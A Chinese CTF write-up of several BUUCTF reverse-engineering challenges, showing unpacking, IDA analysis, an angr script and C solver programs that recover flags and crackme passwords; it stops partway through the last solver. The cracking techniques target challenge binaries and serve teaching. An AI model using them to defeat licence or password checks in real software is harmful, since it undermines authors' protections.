buuctf Writeup

RE

Youngter-drive

PEID查壳,发现UPX壳

自动脱壳之后用IDA查看

image-20200121132045118

程序读入Source,然后启动了两个线程,最后调用函数sub_411190

image-20200121132154955

最后的函数是一个简单的比对。

第一个线程按照一定规则替换字符,并将计数器减一

第二个线程什么都不干,将计数器减一,延时100毫秒

image-20200121132401756

image-20200121132455082

两个线程抢占的是同一个线程句柄,因此字符是间隔替换的。

Dest只有29位,但是计数器是从29开始的,因此最后会多出一位。这一位填什么程序都能跑出flag,但是交到buuoj只有填E是对的,迷惑。

CrackMe

image-20200127094456521

主流程是读入用户名和密码,根据用户名创建一个0-255的单射满射表,最后判断password是否正确。

判断函数的第一个循环是将password按byte转换成16进制数组。

image-20200127094738844

判断函数的第二个循环是根据生成的表arr_a和username进行异或,得到八位的newpass。

最后一个函数是判断newpass是否正确,实际上满足所有if语句就可以了,因为如果不满足的话无法推测出newpass。不嫌麻烦写个dfs也可以验证。

于是解密脚本长这样(无视掉反调试语句就好了):

#include<cstdio>
#include<cstring>
#include<cstdlib>
#include<iostream>
#include<algorithm>
#include<cmath>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
char user[]="welcomebeijing";
unsigned char key[]="dbappsec";
char bytes[100];
char a[1000];
int main(){
	foru(i,0,255)a[i]=i;
	unsigned char v9=0;
	int v6=0;
	char v3,v4;
	char *v7=user;
	char v2;
	do{v2=*v7++;}while(v2);
	foru(i,0,255){
		v3=a[i];
		v9+=v3+user[v6];
//		printf("%d\n",v9);
		v4=a[v9];
		v6++;
		a[v9]=v3;
		a[i]=v4;
		if(v6>=strlen(user))v6=0;
	}
	unsigned char v11=0,v12=0;
	int v5=0;
	char v8,v13;
	foru(i,0,7){
	    v11 += a[++v12];
	    v13 = a[v12];
	    v8 = a[v11];
	    a[v11] = v13;
	    a[v12] = v8;
		unsigned char tmp=v8+v13;
//		bytes[v5]=key[i]^a[tmp];
		bytes[v5]=key[i]^a[tmp]^user[i];
		v5=i+1;
	}
	foru(i,0,v5)printf("%02x",bytes[i]&0xFF);
}

跑出来的答案算一下MD5报上flag提交就……会不通过。

我认为buuoj后台的flag错了,因为在网上查到的题解输入程序里判错,交到buuoj正确。这个跑出来的输进程序是正常退出的。

(辣鸡buuoj*1 坑我一下午)

[GXYCTF2019]simple CPP

程序无壳,IDA打开。

image-20200128232728080

查看Dst的交叉引用可以发现Dst是字符串i_will_check_is_debug_or_not

image-20200128232818022

下面一段把异或之后的输入转化为int64。

image-20200128232947785

然后是一大堆位运算,应该是要解方程。化简之后瞪眼瞪了十几分钟没发现切入点,于是把代码复制出来上angr。

c代码:

#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h> 
long long q0, q1, q2;
int main() {
	//scanf("%lld%lld%lld", &q0, &q1, &q2);
	long long v19, v18[4], v21, v20, v23, v22, v24, v25, v26, v27, v28;
	v19 = q1 & q0;
	*v18 = q1 & q0;
	v20 = q2 & ~q0;
	v18[1] = v20;
	v21 = ~q1;
	v22 = q2 & v21;
	v18[2] = q2 & v21;
	v23 = q0 & v21;
	v18[3] = v23;
	v24 = v20 | v19 | v22 | v23;
	v25 = q1;
	v26 = q2;
	v27 = v22 & q0 | v26 & (v19 | v25 & ~q0 | ~(v25 | q0));
	v28 = 0;
	//printf("%lld", v20);
	if (v20 == 1176889593874i64)
		if (v27 == 577031497978884115i64)
			if (v24 == 4483974544037412639i64) {
				printf("right");
				return 0;
			}
	printf("wrong");
}

python代码:

from angr import *
import claripy

p = Project("./angr.exe",auto_load_libs=False)
st=p.factory.entry_state(add_options={"SYMBOLIC_WRITE_ADDRESSES"})
inp1 = claripy.BVS('inp1', 8*8)
inp2 = claripy.BVS('inp2', 8*8)
inp3 = claripy.BVS('inp3', 8*8)
st.memory.store(0x14001C718,inp1)
st.memory.store(0x14001C710,inp2)
st.memory.store(0x14001C198,inp3)
sm=p.factory.simulation_manager(st)
sm.explore(find=0x1400157F8, avoid=0x140015808)
print(len(sm.found))
if len(sm.found) > 0:
    print(sm.found[0].solver.eval(inp1))
    print(sm.found[0].solver.eval(inp2))
    print(sm.found[0].solver.eval(inp3))

输出

968036644504877630
6160
1382673345904312840

这里卡了一会,后来师傅告诉我angr的store里面存的的大端序,反过来就对了。

中间出了点问题C代码有变动,重新跑了一遍angr脚本,惊奇的发现inp2的值变了。验证之后发现两个都能输出right。

最后上网查WP,主办方给了inp2对应的flag片段,应该是题目出锅了(垃圾buuoj*2 不写在题目描述里)。

写WP的师傅说是在草稿纸上手算的,不知道是我算力不行还是化简错了。。。

异或代码:

#include<cstdio>
#include<cstring>
#include<cstdlib>
#include<algorithm>
#include<cmath>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
int main(){
	char s[]={0x3E,0x3A,0x46,0x05,0x33,0x28,0x6F,0x0D,0x08,0x02,0x07,0x17,0x15,0x3E,0x30,0x13,0x32,0x31,0x06};
	char dict[]="i_will_cdebug_or_noi_wil";
	foru(i,0,strlen(s)-1){
		if(i==8)printf("e!P0or_a");
		printf("%c",s[i]^dict[i]);
	}
}

输出We1l_D0ne!P0or_algebra_am_i即flag

[GWCTF 2019]pyre

简单的pyc反编译,不过我是第一次见,学习一个。

安装反编译工具并反编译

pip install uncompyle
uncompyle6 attachment.pyc > 1.py

1.py:

# uncompyle6 version 3.6.3
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.7.3 (default, Apr 24 2019, 15:29:51) [MSC v.1915 64 bit (AMD64)]
# Embedded file name: encode.py
# Compiled at: 2019-08-19 21:01:57
print 'Welcome to Re World!'
print 'Your input1 is your flag~'
l = len(input1)
for i in range(l):
    num = ((input1[i] + i) % 128 + 128) % 128
    code += num

for i in range(l - 1):
    code[i] = code[i] ^ code[(i + 1)]

print code
code = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']
# okay decompiling attachment.pyc

解密脚本:

#include<cstdio>
#include<cstring>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
int main(){
	char code[]={'\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13'} ;
	int n=strlen(code);
	ford(i,n-2,0)code[i]^=code[i+1];
	foru(i,0,n-1)printf("%c",(code[i]+128-i)%128);
}

equation

拿到题目发现是一个html文件,script标签内是一段js和一个jsfuck的判断条件。(俺寻思这也不是re啊)

虽然咱不会人脑解析jsfuck,但是可以发现l[]内和==右侧都应该是常量。

于是把if()内的内容复制出来存到raw.js,写个程序解析。

#include<cstdio>
#include<cstring>
#include<cstdlib>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
char s[100000],a[100000];
int cnt;
int main(){
	freopen("raw.js","r",stdin);
	freopen("out.js","w",stdout);
	scanf("%s",s);
	int n=strlen(s);
	printf("s='%c",s[0]);
	foru(i,1,n-1){
		if(s[i]=='[')
			if(s[i-1]=='l'){
				a[++cnt]='l';
				printf("['+(");
			}else{
				a[++cnt]='[';
				printf("[");
			}
		else if(s[i]==']'){
			if(a[cnt]=='l') printf(")+']");
			else printf("]");
			cnt--;
		}
		else if(s[i-1]=='='&&s[i-2]=='=')printf("'+(%c",s[i]);
		else if(s[i+1]=='&'&&s[i+2]=='&')printf("%c)+'",s[i]);
		else printf("%c",s[i]);
	}
	printf(");\nconsole.log(s);");
}

运行程序得到out.js,太长了就不贴了。

运行out.js得到正常的判断语句:

l[40]+l[35]+l[34]-l[0]-l[15]-l[37]+l[7]+l[6]-l[26]+l[20]+l[19]+l[8]-l[17]-l[14]-l[38]+l[1]-l[9]+l[22]+l[41]+l[3]-l[29]-l[36]-l[25]+l[5]+l[32]-l[16]+l[12]-l[24]+l[30]+l[39]+l[10]+l[2]+l[27]+l[28]+l[21]+l[33]-l[18]+l[4]==861&&
l[31]+l[26]+l[11]-l[33]+l[27]-l[3]+l[12]+l[30]+l[1]+l[32]-l[16]+l[7]+l[10]-l[25]+l[38]-l[41]-l[14]-l[19]+l[29]+l[36]-l[9]-l[28]-l[6]-l[0]-l[22]-l[18]+l[20]-l[37]+l[4]-l[24]+l[34]-l[21]-l[39]-l[23]-l[8]-l[40]+l[15]-l[35]==448&&
l[26]+l[14]+l[15]+l[9]+l[13]+l[30]-l[11]+l[18]+l[23]+l[7]+l[3]+l[12]+l[25]-l[24]-l[39]-l[35]-l[20]+l[40]-l[8]+l[10]-l[5]-l[33]-l[31]+l[32]+l[19]+l[21]-l[6]+l[1]+l[16]+l[17]+l[29]+l[22]-l[4]-l[36]+l[41]+l[38]+l[2]+l[0]==1244&&
l[5]+l[22]+l[15]+l[2]-l[28]-l[10]-l[3]-l[13]-l[18]+l[30]-l[9]+l[32]+l[19]+l[34]+l[23]-l[17]+l[16]-l[7]+l[24]-l[39]+l[8]-l[12]-l[40]-l[25]+l[37]-l[35]+l[11]-l[14]+l[20]-l[27]+l[4]-l[33]-l[21]+l[31]-l[6]+l[1]+l[38]-l[29]==39&&
l[41]-l[29]+l[23]-l[4]+l[20]-l[33]+l[35]+l[3]-l[19]-l[21]+l[11]+l[26]-l[24]-l[17]+l[37]+l[1]+l[16]-l[0]-l[13]+l[7]+l[10]+l[14]+l[22]+l[39]-l[40]+l[34]-l[38]+l[32]+l[25]-l[2]+l[15]+l[6]+l[28]-l[8]-l[5]-l[31]-l[30]-l[27]==485&&
l[13]+l[19]+l[21]-l[2]-l[33]-l[0]+l[39]+l[31]-l[23]-l[41]+l[38]-l[29]+l[36]+l[24]-l[20]-l[9]-l[32]+l[37]-l[35]+l[40]+l[7]-l[26]+l[15]-l[10]-l[6]-l[16]-l[4]-l[5]-l[30]-l[14]-l[22]-l[25]-l[34]-l[17]-l[11]-l[27]+l[1]-l[28]==1068&&
l[32]+l[0]+l[9]+l[14]+l[11]+l[18]-l[13]+l[24]-l[2]-l[15]+l[19]-l[21]+l[1]+l[39]-l[8]-l[3]+l[33]+l[6]-l[5]-l[35]-l[28]+l[25]-l[41]+l[22]-l[17]+l[10]+l[40]+l[34]+l[27]-l[20]+l[23]+l[31]-l[16]+l[7]+l[12]-l[30]+l[29]-l[4]==939&&
l[19]+l[11]+l[20]-l[16]+l[40]+l[25]+l[1]-l[31]+l[28]-l[23]+l[14]-l[9]-l[27]+l[35]+l[39]-l[37]-l[8]-l[22]+l[5]-l[6]+l[0]-l[32]+l[24]+l[33]+l[29]+l[38]+l[15]-l[2]+l[30]+l[7]+l[12]-l[3]-l[17]+l[34]+l[41]-l[4]-l[13]-l[26]==413&&
l[22]+l[4]-l[9]+l[34]+l[35]+l[17]+l[3]-l[24]+l[38]-l[5]-l[41]-l[31]-l[0]-l[25]+l[33]+l[15]-l[1]-l[10]+l[16]-l[29]-l[12]+l[26]-l[39]-l[21]-l[18]-l[6]-l[40]-l[13]+l[8]+l[37]+l[19]+l[14]+l[32]+l[28]-l[11]+l[23]+l[36]+l[7]==117&&
l[32]+l[16]+l[3]+l[11]+l[34]-l[31]+l[14]+l[25]+l[1]-l[30]-l[33]-l[40]-l[4]-l[29]+l[18]-l[27]+l[13]-l[19]-l[12]+l[23]-l[39]-l[41]-l[8]+l[22]-l[5]-l[38]-l[9]-l[37]+l[17]-l[36]+l[24]-l[21]+l[2]-l[26]+l[20]-l[7]+l[35]-l[0]==313&&
l[40]-l[1]+l[5]+l[7]+l[33]+l[29]+l[12]+l[38]-l[31]+l[2]+l[14]-l[35]-l[8]-l[24]-l[39]-l[9]-l[28]+l[23]-l[17]-l[22]-l[26]+l[32]-l[11]+l[4]-l[36]+l[10]+l[20]-l[18]-l[16]+l[6]-l[0]+l[3]-l[30]+l[37]-l[19]+l[21]+l[25]-l[15]==42&&
l[21]+l[26]-l[17]-l[25]+l[27]-l[22]-l[39]-l[23]-l[15]-l[20]-l[32]+l[12]+l[3]-l[6]+l[28]+l[31]+l[13]-l[16]-l[37]-l[30]-l[5]+l[41]+l[29]+l[36]+l[1]+l[11]+l[24]+l[18]-l[40]+l[19]-l[35]+l[2]-l[38]+l[14]-l[9]+l[4]+l[0]-l[33]==289&&
l[29]+l[31]+l[32]-l[17]-l[7]+l[34]+l[2]+l[14]+l[23]-l[4]+l[3]+l[35]-l[33]-l[9]-l[20]-l[37]+l[24]-l[27]+l[36]+l[15]-l[18]-l[0]+l[12]+l[11]-l[38]+l[6]+l[22]+l[39]-l[25]-l[10]-l[19]-l[1]+l[13]-l[41]+l[30]-l[16]+l[28]-l[26]==117&&
l[5]+l[37]-l[39]+l[0]-l[27]+l[12]+l[41]-l[22]+l[8]-l[16]-l[38]+l[9]+l[15]-l[35]-l[29]+l[18]+l[6]-l[25]-l[28]+l[36]+l[34]+l[32]-l[14]-l[1]+l[20]+l[40]-l[19]-l[4]-l[7]+l[26]+l[30]-l[10]+l[13]-l[21]+l[2]-l[23]-l[3]-l[33]==252&&
l[29]+l[10]-l[41]-l[9]+l[12]-l[28]+l[11]+l[40]-l[27]-l[8]+l[32]-l[25]-l[23]+l[39]-l[1]-l[36]-l[15]+l[33]-l[20]+l[18]+l[22]-l[3]+l[6]-l[34]-l[21]+l[19]+l[26]+l[13]-l[4]+l[7]-l[37]+l[38]-l[2]-l[30]-l[0]-l[35]+l[5]+l[17]==183&&
l[6]-l[8]-l[20]+l[34]-l[33]-l[25]-l[4]+l[3]+l[17]-l[13]-l[15]-l[40]+l[1]-l[30]-l[14]-l[28]-l[35]+l[38]-l[22]+l[2]+l[24]-l[29]+l[5]+l[9]+l[37]+l[23]-l[18]+l[19]-l[21]+l[11]+l[36]+l[41]-l[7]-l[32]+l[10]+l[26]-l[0]+l[31]==188&&
l[3]+l[6]-l[41]+l[10]+l[39]+l[37]+l[1]+l[8]+l[21]+l[24]+l[29]+l[12]+l[27]-l[38]+l[11]+l[23]+l[28]+l[33]-l[31]+l[14]-l[5]+l[32]-l[17]+l[40]-l[34]+l[20]-l[22]-l[16]+l[19]+l[2]-l[36]-l[7]+l[18]+l[15]+l[26]-l[0]-l[4]+l[35]==1036&&
l[28]-l[33]+l[2]+l[37]-l[12]-l[9]-l[39]+l[16]-l[32]+l[8]-l[36]+l[31]+l[10]-l[4]+l[21]-l[25]+l[18]+l[24]-l[0]+l[29]-l[26]+l[35]-l[22]-l[41]-l[6]+l[15]+l[19]+l[40]+l[7]+l[34]+l[17]-l[3]-l[13]+l[5]+l[23]+l[11]-l[27]+l[1]==328&&
l[22]-l[32]+l[17]-l[9]+l[20]-l[18]-l[34]+l[23]+l[36]-l[35]-l[38]+l[27]+l[4]-l[5]-l[41]+l[29]+l[33]+l[0]-l[37]+l[28]-l[40]-l[11]-l[12]+l[7]+l[1]+l[2]-l[26]-l[16]-l[8]+l[24]-l[25]+l[3]-l[6]-l[19]-l[39]-l[14]-l[31]+l[10]==196&&
l[11]+l[13]+l[14]-l[15]-l[29]-l[2]+l[7]+l[20]+l[30]-l[36]-l[33]-l[19]+l[31]+l[0]-l[39]-l[4]-l[6]+l[38]+l[35]-l[28]+l[34]-l[9]-l[23]-l[26]+l[37]-l[8]-l[27]+l[5]-l[41]+l[3]+l[17]+l[40]-l[10]+l[25]+l[12]-l[24]+l[18]+l[32]==7&&
l[34]-l[37]-l[40]+l[4]-l[22]-l[31]-l[6]+l[38]+l[13]-l[28]+l[8]+l[30]-l[20]-l[7]-l[32]+l[26]+l[1]-l[18]+l[5]+l[35]-l[24]-l[41]+l[9]-l[0]-l[2]-l[15]-l[10]+l[12]-l[36]+l[33]-l[16]-l[14]-l[25]-l[29]-l[21]+l[27]+l[3]-l[17]==945&&
l[12]-l[30]-l[8]+l[20]-l[2]-l[36]-l[25]-l[0]-l[19]-l[28]-l[7]-l[11]-l[33]+l[4]-l[23]+l[10]-l[41]+l[39]-l[32]+l[27]+l[18]+l[15]+l[34]+l[13]-l[40]+l[29]-l[6]+l[37]-l[14]-l[16]+l[38]-l[26]+l[17]+l[31]-l[22]-l[35]+l[5]-l[1]==480&&
l[36]-l[11]-l[34]+l[8]+l[0]+l[15]+l[28]-l[39]-l[32]-l[2]-l[27]+l[22]+l[16]-l[30]-l[3]+l[31]-l[26]+l[20]+l[17]-l[29]-l[18]+l[19]-l[10]+l[6]-l[5]-l[38]-l[25]-l[24]+l[4]+l[23]+l[9]+l[14]+l[21]-l[37]+l[13]-l[41]-l[12]+l[35]==213&&
l[19]-l[36]-l[12]+l[33]-l[27]-l[37]-l[25]+l[38]+l[16]-l[18]+l[22]-l[39]+l[13]-l[7]-l[31]-l[26]+l[15]-l[10]-l[9]-l[2]-l[30]-l[11]+l[41]-l[4]+l[24]+l[34]+l[5]+l[17]+l[14]+l[6]+l[8]-l[21]-l[23]+l[32]-l[1]-l[29]-l[0]+l[3]==386&&
l[0]+l[7]-l[28]-l[38]+l[19]+l[31]-l[5]+l[24]-l[3]+l[33]-l[12]-l[29]+l[32]+l[1]-l[34]-l[9]-l[25]+l[26]-l[8]+l[4]-l[10]+l[40]-l[15]-l[11]-l[27]+l[36]+l[14]+l[41]-l[35]-l[13]-l[17]-l[21]-l[18]+l[39]-l[2]+l[20]-l[23]-l[22]==349&&
l[10]+l[22]+l[21]-l[0]+l[15]-l[6]+l[20]-l[29]-l[30]-l[33]+l[19]+l[23]-l[28]+l[41]-l[27]-l[12]-l[37]-l[32]+l[34]-l[36]+l[3]+l[1]-l[13]+l[18]+l[14]+l[9]+l[7]-l[39]+l[8]+l[2]-l[31]-l[5]-l[40]+l[38]-l[26]-l[4]+l[16]-l[25]==98&&
l[28]+l[38]+l[20]+l[0]-l[5]-l[34]-l[41]+l[22]-l[26]+l[11]+l[29]+l[31]-l[3]-l[16]+l[23]+l[17]-l[18]+l[9]-l[4]-l[12]-l[19]-l[40]-l[27]+l[33]+l[8]-l[37]+l[2]+l[15]-l[24]-l[39]+l[10]+l[35]-l[1]+l[30]-l[36]-l[25]-l[14]-l[32]==412&&
l[1]-l[24]-l[29]+l[39]+l[41]+l[0]+l[9]-l[19]+l[6]-l[37]-l[22]+l[32]+l[21]+l[28]+l[36]+l[4]-l[17]+l[20]-l[13]-l[35]-l[5]+l[33]-l[27]-l[30]+l[40]+l[25]-l[18]+l[34]-l[3]-l[10]-l[16]-l[23]-l[38]+l[8]-l[14]-l[11]-l[7]+l[12]==95&&
l[2]-l[24]+l[31]+l[0]+l[9]-l[6]+l[7]-l[1]-l[22]+l[8]-l[23]+l[40]+l[20]-l[38]-l[11]-l[14]+l[18]-l[36]+l[15]-l[4]-l[41]-l[12]-l[34]+l[32]-l[35]+l[17]-l[21]-l[10]-l[29]+l[39]-l[16]+l[27]+l[26]-l[3]-l[5]+l[13]+l[25]-l[28]==379&&
l[19]-l[17]+l[31]+l[14]+l[6]-l[12]+l[16]-l[8]+l[27]-l[13]+l[41]+l[2]-l[7]+l[32]+l[1]+l[25]-l[9]+l[37]+l[34]-l[18]-l[40]-l[11]-l[10]+l[38]+l[21]+l[3]-l[0]+l[24]+l[15]+l[23]-l[20]+l[26]+l[22]-l[4]-l[28]-l[5]+l[39]+l[35]==861&&
l[35]+l[36]-l[16]-l[26]-l[31]+l[0]+l[21]-l[13]+l[14]+l[39]+l[7]+l[4]+l[34]+l[38]+l[17]+l[22]+l[32]+l[5]+l[15]+l[8]-l[29]+l[40]+l[24]+l[6]+l[30]-l[2]+l[25]+l[23]+l[1]+l[12]+l[9]-l[10]-l[3]-l[19]+l[20]-l[37]-l[33]-l[18]==1169&&
l[13]+l[0]-l[25]-l[32]-l[21]-l[34]-l[14]-l[9]-l[8]-l[15]-l[16]+l[38]-l[35]-l[30]-l[40]-l[12]+l[3]-l[19]+l[4]-l[41]+l[2]-l[36]+l[37]+l[17]-l[1]+l[26]-l[39]-l[10]-l[33]+l[5]-l[27]-l[23]-l[24]-l[7]+l[31]-l[28]-l[18]+l[6]==1236&&
l[20]+l[27]-l[29]-l[25]-l[3]+l[28]-l[32]-l[11]+l[10]+l[31]+l[16]+l[21]-l[7]+l[4]-l[24]-l[35]+l[26]+l[12]-l[37]+l[6]+l[23]+l[41]-l[39]-l[38]+l[40]-l[36]+l[8]-l[9]-l[5]-l[1]-l[13]-l[14]+l[19]+l[0]-l[34]-l[15]+l[17]+l[22]==114&&
l[12]-l[28]-l[13]-l[23]-l[33]+l[18]+l[10]+l[11]+l[2]-l[36]+l[41]-l[16]+l[39]+l[34]+l[32]+l[37]-l[38]+l[20]+l[6]+l[7]+l[31]+l[5]+l[22]-l[4]-l[15]-l[24]+l[17]-l[3]+l[1]-l[35]-l[9]+l[30]+l[25]-l[0]-l[8]-l[14]+l[26]+l[21]==659&&
l[21]-l[3]+l[7]-l[27]+l[0]-l[32]-l[24]-l[37]+l[4]-l[22]+l[20]-l[5]-l[30]-l[31]-l[1]+l[15]+l[41]+l[12]+l[40]+l[38]-l[17]-l[39]+l[19]-l[13]+l[23]+l[18]-l[2]+l[6]-l[33]-l[9]+l[28]+l[8]-l[16]-l[10]-l[14]+l[34]+l[35]-l[11]==430&&
l[11]-l[23]-l[9]-l[19]+l[17]+l[38]-l[36]-l[22]-l[10]+l[27]-l[14]-l[4]+l[5]+l[31]+l[2]+l[0]-l[16]-l[8]-l[28]+l[3]+l[40]+l[25]-l[33]+l[13]-l[32]-l[35]+l[26]-l[20]-l[41]-l[30]-l[12]-l[7]+l[37]-l[39]+l[15]+l[18]-l[29]-l[21]==513&&
l[32]+l[19]+l[4]-l[13]-l[17]-l[30]+l[5]-l[33]-l[37]-l[15]-l[18]+l[7]+l[25]-l[14]+l[35]+l[40]+l[16]+l[1]+l[2]+l[26]-l[3]-l[39]-l[22]+l[23]-l[36]-l[27]-l[9]+l[6]-l[41]-l[0]-l[31]-l[20]+l[12]-l[8]+l[29]-l[11]-l[34]+l[21]==502&&
l[30]-l[31]-l[36]+l[3]+l[9]-l[40]-l[33]+l[25]+l[39]-l[26]+l[23]-l[0]-l[29]-l[32]-l[4]+l[37]+l[28]+l[21]+l[17]+l[2]+l[24]+l[6]+l[5]+l[8]+l[16]+l[27]+l[19]+l[12]+l[20]+l[41]-l[22]+l[15]-l[11]+l[34]-l[18]-l[38]+l[1]-l[14]==853&&
l[38]-l[10]+l[16]+l[8]+l[21]-l[25]+l[36]-l[30]+l[31]-l[3]+l[5]-l[15]+l[23]-l[28]+l[7]+l[12]-l[29]+l[22]-l[0]-l[37]-l[14]-l[11]+l[32]+l[33]-l[9]+l[39]+l[41]-l[19]-l[1]+l[18]-l[4]-l[6]+l[13]+l[20]-l[2]-l[35]-l[26]+l[27]==28&&
l[11]+l[18]-l[26]+l[15]-l[14]-l[33]+l[7]-l[23]-l[25]+l[0]-l[6]-l[21]-l[16]+l[17]-l[19]-l[28]-l[38]-l[37]+l[9]+l[20]-l[8]-l[3]+l[22]-l[35]-l[10]-l[31]-l[2]+l[41]-l[1]-l[4]+l[24]-l[34]+l[39]+l[40]+l[32]-l[5]+l[36]-l[27]==529&&
l[38]+l[8]+l[36]+l[35]-l[23]-l[34]+l[13]-l[4]-l[27]-l[24]+l[26]+l[31]-l[30]-l[5]-l[40]+l[28]-l[11]-l[2]-l[39]+l[15]+l[10]-l[17]+l[3]+l[19]+l[22]+l[33]+l[0]+l[37]+l[16]-l[9]-l[32]+l[25]-l[21]-l[12]+l[6]-l[41]+l[20]-l[18]==12&&
l[6]-l[30]-l[20]-l[27]-l[14]-l[39]+l[41]-l[33]-l[0]+l[25]-l[32]-l[3]+l[26]-l[12]+l[8]-l[35]-l[24]+l[15]+l[9]-l[4]+l[13]+l[36]+l[34]+l[1]-l[28]-l[21]+l[18]+l[23]+l[29]-l[10]-l[38]+l[22]+l[37]+l[5]+l[19]+l[7]+l[16]-l[31]==81

丢到mma里面解方程:

image-20200130152904517

输出:

#include<cstdio>
#include<cstring>
#include<cstdlib>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
char l[100];
int main(){
	l[0] = 102; l[1] = 108; l[2] = 97; l[3] = 103; l[4] = 123; 
	l[5] = 65; l[6] = 95; l[7] = 108; l[8] = 48; l[9] = 110; 
	l[10] = 103; l[11] = 95; l[12] = 49; l[13] = 48; l[14] = 78; 
	l[15] = 71; l[16] = 95; l[17] = 101; l[18] = 113; l[19] = 85; 
	l[20] = 52; l[21] = 84; l[22] = 105; l[23] = 48; l[24] = 110; 
	l[25] = 95; l[26] = 49; l[27] = 115; l[28] = 95; l[29] = 69; 
	l[30] = 52; l[31] = 83; l[32] = 121; l[33] = 95; l[34] = 87; 
	l[35] = 49; l[36] = 84; l[37] = 104; l[38] = 95; l[39] = 122; 
	l[40] = 51; l[41] = 125;
	foru(i,0,41)printf("%c",l[i]);
}

[安洵杯 2019]crackMe

对最后比较的str1一通交叉引用跟踪到这个函数,将base64表的大小写交换,然后添加了一个异常处理器,程序应该会主动触发异常。

image-20200131115600558

异常处理器内是一个段生成数组的代码。

image-20200131122010712

跟进去感觉没有反调试,直接dump出来:

image-20200131122045590

跟进异常处理函数:

image-20200131182850519

处理了Str2并且对byte_41A180进行base64编码之后赋值给Str1。这里注意base64修改过,每6bit数据被加上24再对64取模。

接着跟踪对输入的交叉引用,发现函数:

image-20200131183121413

sub_411700是一通异或之后长整型转byte映射之后再转长整型再位移异或再异或的操作。

于是写代码,base64:

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#define foru(i,a,b) for(i=a;i<=b;i++)
#define ford(i,a,b) for(i=a;i>=b;i--)
#define swap(a,b) {a^=b;b^=a;a^=b;}
unsigned char table[300];  
unsigned char base64_table[]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";
int fuck(int k){return (k+40)%64;}
unsigned char *base64_decode(unsigned char *code,long len)  
{  
    long str_len;  
    unsigned char *res;  
    int i,j;  
  
    if(strstr(code,"=="))  
        str_len=len/4*3-2;  
    else if(strstr(code,"="))  
        str_len=len/4*3-1;  
    else  
        str_len=len/4*3;  
  
    res=malloc(sizeof(unsigned char)*str_len);
    res[str_len]='\0';  
    for(i=0,j=0;i < len-2;j+=3,i+=4)  
    {  
        res[j]=(fuck((unsigned char)table[code[i]]))<<2 | ((fuck((unsigned char)table[code[i+1]]))>>4); 
        res[j+1]=((fuck((unsigned char)table[code[i+1]]))<<4) | ((fuck((unsigned char)table[code[i+2]]))>>2);  
        res[j+2]=((fuck((unsigned char)table[code[i+2]]))<<6) | (fuck((unsigned char)table[code[i+3]]));
    }  
  
    return res;  
  
}

int main(){
	unsigned char a[]="1UTAOIkpyOSWGv/mOYFY4R==";
	int i;
	foru(i,0,strlen(a)-1){swap(a[i],a[i+1]);i++;}
	foru(i,0,63)table[base64_table[i]]=i;
	unsigned char * ret=base64_decode(a,sizeof(a));
	int len=((sizeof(a)-1)/4)*3;
	foru(i,0,3)printf("%d,",(unsigned int)_byteswap_ulong(*((unsigned int*)ret+i)));
}

解密:

#include<cstdio>
#include<cstring>
#include<cstdlib>
#include<algorithm>
#include<cmath>
using namespace std;
typedef long long LL;
#define foru(i,a,b) for(int i=a;i<=b;i++)
#define ford(i,a,b) for(int i=a;i>=b;i--)
unsigned int a[100];
unsigned char b[]=
{214,144,233,254,204,225,61,183,22,182,
20,194,40,251,44,5,43,103,154,118,42,190,
4,195,170,68,19,38,73,134,6,153,156,66,80,
244,145,239,152,122,51,84,11,67,237,207,172,
98,228,179,28,169,201,8,232,149,128,223,148,
250,117,143,63,166,71,7,167,252,243,115,23,
186,131,89,60,25,230,133,79,168,104,107,129,
178,113,100,218,139,248,235,15,75,112,86,157,
53,30,36,14,94,99,88,209,162,37,34,124,59,1,
33,120,135,212,0,70,87,159,211,39,82,76,54,2,
231,160,196,200,158,234,191,138,210,64,199,56,
181,163,247,242,206,249,97,21,161,224,174,93,
164,155,52,26,85,173,147,50,48,245,140,177,227,
29,246,226,46,130,102,202,96,192,41,35,171,13,
83,78,111,213,219,55,69,222,253,142,47,3,255,
106,114,109,108,91,81,141,27,175,146,187,221,
188,127,17,217,92,65,31,16,90,216,10,193,49,136,
165,205,123,189,45,116,208,18,184,229,180,176,
137,105,151,74,12,150,119,126,101,185,241,9,197,
110,198,132,24,240,125,236,58,220,77,32,121,238,
95,62,215,203,57,72};
unsigned int unk[]=
{2474635281ul,1050457753ul,1527726672ul,
 704311189ul, 390964713ul,1555004798ul,1482998107ul,
3809917755ul,3005472846ul, 153557624ul,1708072681ul,
4266245223ul,1624089784ul,1594396855ul,2462477321ul,
4269284246ul,3819081177ul,2147248580ul, 560774664ul,
1681283311ul,3304858608ul,1623983753ul,3186578788ul,
2062149354ul,1287676848ul, 353859384ul,4132269213ul,
2501992390ul, 936056320ul,2735262324ul, 344097749ul,
1984509069ul};
#define _BYTE  unsigned char
#define _WORD  unsigned __int16
#define _DWORD unsigned int
#define LODWORD(x)  (*((_DWORD*)&(x)))
#define HIBYTE(x)   (*((_BYTE*)&(x)+3))
#define HIWORD(x)   (*((_WORD*)&(x)+1))
#define HIDWORD(x)  (*((_DWORD*)&(x)+1))
#define BYTEn(x, n)   (*((_BYTE*)&(x)+n))
#define BYTE1(x)   BYTEn(x,  1)
#define BYTE2(x)   BYTEn(x,  2)

unsigned char sub_4119A0(unsigned char k){
	return b[k];
}

unsigned long fuck(int a1)
{
  unsigned __int8 v1; // STD8_1
  unsigned __int8 v2; // STD9_1
